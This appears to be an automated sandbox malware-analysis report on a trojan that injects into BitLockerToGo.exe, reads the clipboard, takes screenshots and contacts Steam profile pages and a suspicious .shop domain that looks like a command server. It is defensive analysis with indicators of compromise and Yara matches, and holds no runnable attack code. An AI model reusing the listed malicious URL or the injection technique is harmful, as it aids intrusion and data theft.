Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/active.jsonhttps://status.discord.com/api/v
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/upcoming.json
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/A
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/apix
Source: BW4pTs1x3V.exe	String found in binary or memory: https://www.certum.pl/CPS0
Source: BW4pTs1x3V.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 172.67.188.210:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.193:443 -> 192.168.2.8:49718 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02D07C60 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_02D07C60

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02D07C60 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_02D07C60

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02D07DE0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_02D07DE0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1885915924.000000C000506000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDF950	3_2_02CDF950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDFFE0	3_2_02CDFFE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD1293	3_2_02CD1293
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D18370	3_2_02D18370
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD1000	3_2_02CD1000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CE301B	3_2_02CE301B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDB1C0	3_2_02CDB1C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD7150	3_2_02CD7150
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDA110	3_2_02CDA110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD5130	3_2_02CD5130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDA660	3_2_02CDA660
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D077C0	3_2_02D077C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CFC75E	3_2_02CFC75E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D16720	3_2_02D16720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D184C0	3_2_02D184C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD84F0	3_2_02CD84F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF74AA	3_2_02CF74AA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D0E449	3_2_02D0E449
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D13430	3_2_02D13430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CFB5B0	3_2_02CFB5B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD3570	3_2_02CD3570
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CE0A8F	3_2_02CE0A8F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF2AA0	3_2_02CF2AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF7A42	3_2_02CF7A42
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF7A60	3_2_02CF7A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D07A00	3_2_02D07A00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D01A32	3_2_02D01A32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF8BE0	3_2_02CF8BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CD7B50	3_2_02CD7B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF88F0	3_2_02CF88F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D0D850	3_2_02D0D850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D17800	3_2_02D17800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CFB9F0	3_2_02CFB9F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CE0E50	3_2_02CE0E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF7E26	3_2_02CF7E26
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CECFA0	3_2_02CECFA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDBCD0	3_2_02CDBCD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D0ECB0	3_2_02D0ECB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CF7C20	3_2_02CF7C20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CFADC0	3_2_02CFADC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CFCD80	3_2_02CFCD80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CEEDAD	3_2_02CEEDAD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D19D50	3_2_02D19D50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D17D00	3_2_02D17D00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02CDAD20	3_2_02CDAD20

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02CDEA20 appears 179 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02CDC7A0 appears 52 times

Source: BW4pTs1x3V.exe

Static PE information: Number of sections : 12 > 10

Source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C000760000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs BW4pTs1x3V.exe
Source: BW4pTs1x3V.exe, 00000000.00000000.1453505977.00007FF67DB85000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameComparisonP. vs BW4pTs1x3V.exe
Source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C00079A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs BW4pTs1x3V.exe
Source: BW4pTs1x3V.exe, 00000000.00000003.1875683062.0000023FE0C20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs BW4pTs1x3V.exe
Source: BW4pTs1x3V.exe, 00000000.00000002.1886207178.000000C00080E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs BW4pTs1x3V.exe
Source: BW4pTs1x3V.exe	Binary or memory string: OriginalFilenameComparisonP. vs BW4pTs1x3V.exe

Source: 00000000.00000002.1885915924.000000C000506000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal93.troj.evad.winEXE@3/0@11/3

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02D0739F CoCreateInstance,

3_2_02D0739F

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

File created: C:\Users\Public\Libraries\icikh.scif

Jump to behavior

Source: BW4pTs1x3V.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BW4pTs1x3V.exe

ReversingLabs: Detection: 60%

Source: BW4pTs1x3V.exe	String found in binary or memory: net/addrselect.go
Source: BW4pTs1x3V.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go
Source: BW4pTs1x3V.exe	String found in binary or memory: OTbwLFHsAx/load.go

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

File read: C:\Users\user\Desktop\BW4pTs1x3V.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BW4pTs1x3V.exe "C:\Users\user\Desktop\BW4pTs1x3V.exe"
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: BW4pTs1x3V.exe

Static PE information: certificate valid

Source: BW4pTs1x3V.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: BW4pTs1x3V.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: BW4pTs1x3V.exe

Static file information: File size 13565176 > 1048576

Source: BW4pTs1x3V.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x53e600
Source: BW4pTs1x3V.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x6e9200

Source: BW4pTs1x3V.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C000760000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C00079A000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000003.1875683062.0000023FE0C20000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1886207178.000000C00080E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C000760000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C00079A000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000003.1875683062.0000023FE0C20000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1886207178.000000C00080E000.00000004.00001000.00020000.00000000.sdmp

Source: BW4pTs1x3V.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2020F pushad ; iretd	3_2_02D20212
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2022F pushad ; iretd	3_2_02D20232
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D200FB pushad ; iretd	3_2_02D200FE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20093 push edx; iretd	3_2_02D20096
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20097 push edi; iretd	3_2_02D2009E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20087 push eax; iretd	3_2_02D2008E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2008F push ecx; iretd	3_2_02D20092
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D200AB pushad ; iretd	3_2_02D200AE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20073 push edx; iretd	3_2_02D20076
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20077 push edx; iretd	3_2_02D2007A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2006F push ecx; iretd	3_2_02D20072
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20193 push ecx; iretd	3_2_02D20196
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20197 push eax; iretd	3_2_02D2019A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2019B push edi; iretd	3_2_02D201A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20183 push edx; iretd	3_2_02D20186
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D201BF pushad ; iretd	3_2_02D201C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20177 push ecx; iretd	3_2_02D2017E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2017F push ecx; iretd	3_2_02D20182
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2016F pushad ; iretd	3_2_02D20172
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D20133 push edi; iretd	3_2_02D2013A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D206DF pushfd ; iretd	3_2_02D206E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D2253B push cs; retf	3_2_02D2254A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02D228B3 push ss; ret	3_2_02D22921

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

